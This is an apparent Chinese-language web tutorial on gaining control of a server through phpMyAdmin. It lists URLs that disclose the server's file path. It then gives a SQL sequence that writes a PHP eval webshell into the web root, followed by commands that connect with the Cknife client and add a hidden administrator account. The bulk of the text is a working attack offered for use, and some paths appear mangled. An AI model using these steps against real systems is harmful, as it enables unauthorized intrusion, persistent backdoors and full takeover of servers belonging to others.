怎么利用phpMyAdmin提权

下面由phpMyAdmin教程栏目给大家介绍利用phpmyadmin提权的方法，希望对需要的朋友有所帮助！

利用phpMyAdmin提权

爆路径

• /phpmyadmin/libraries/lect_lang.lib.php
• /phpMyAdmin/index.php?lang[]=1
• /phpMyAdmin/phpinfo.php
• /load_file()
• /phpmyadmin/themes/darkblue_orange/layout.inc.php
• /phpmyadmin/libraries/select_lang.lib.php
• /phpmyadmin/libraries/lect_lang.lib.php
• /phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:wampwwwphpmyadminthemesdarkblue_orangelayout.inc.php

写马

立即学习“PHP免费学习笔记（深入）”；

Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES("<?php  eval($_POST[Cknife]);?>"); select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php"; Drop TABLE IF EXISTS a;

获得webshell

最后用Cknife连接，创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add